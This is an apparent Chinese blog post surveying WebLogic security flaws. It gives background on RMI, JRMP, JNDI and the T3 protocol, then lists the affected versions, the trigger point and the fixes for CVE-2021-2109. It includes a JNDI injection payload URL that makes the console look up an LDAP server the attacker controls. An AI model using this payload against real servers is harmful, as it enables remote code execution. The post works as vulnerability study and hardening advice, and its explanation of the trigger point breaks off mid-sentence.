Weblogic漏洞梳理

Weblogic漏洞梳理

摘要:Weblogic漏洞梳理

0x01 前置知识

RMI

RMI官方文档定义如下:

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

简单来讲,RMI就是对另一台服务器上的对象中的方法进行调用。

JRMP

官方JRMP描述:

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)

JNDI

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象

T3协议

Weblogic中RMI使用T3协议,其是高度优化的RMI实现。看下面这篇文章可以了解T3协议的运作过程,以及利用抓取数据包对其中的反序列化数据进行篡改从而达到RCE的目的。

Weblogic t3 协议利用与防御

历史漏洞

CVE-2021-2109 JNDI注入

影响版本:

  • WebLogic 10.3.6.0.0

  • WebLogic 12.1.3.0.0

  • WebLogic 12.2.1.3.0

  • WebLogic 12.2.1.4.0

  • WebLogic 14.1.1.0.0

payload:

1
/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.99.89;33:1389/qnd0ye;AdminServer%22)

漏洞触发点:

lookup()里面的参数来自bindingHandler中的getComponent

然后bindingHandler来自

修复建议:

  • 禁用T3协议

  • 禁用IIOP

  • 关闭后台/console/console.portal对外开放


评论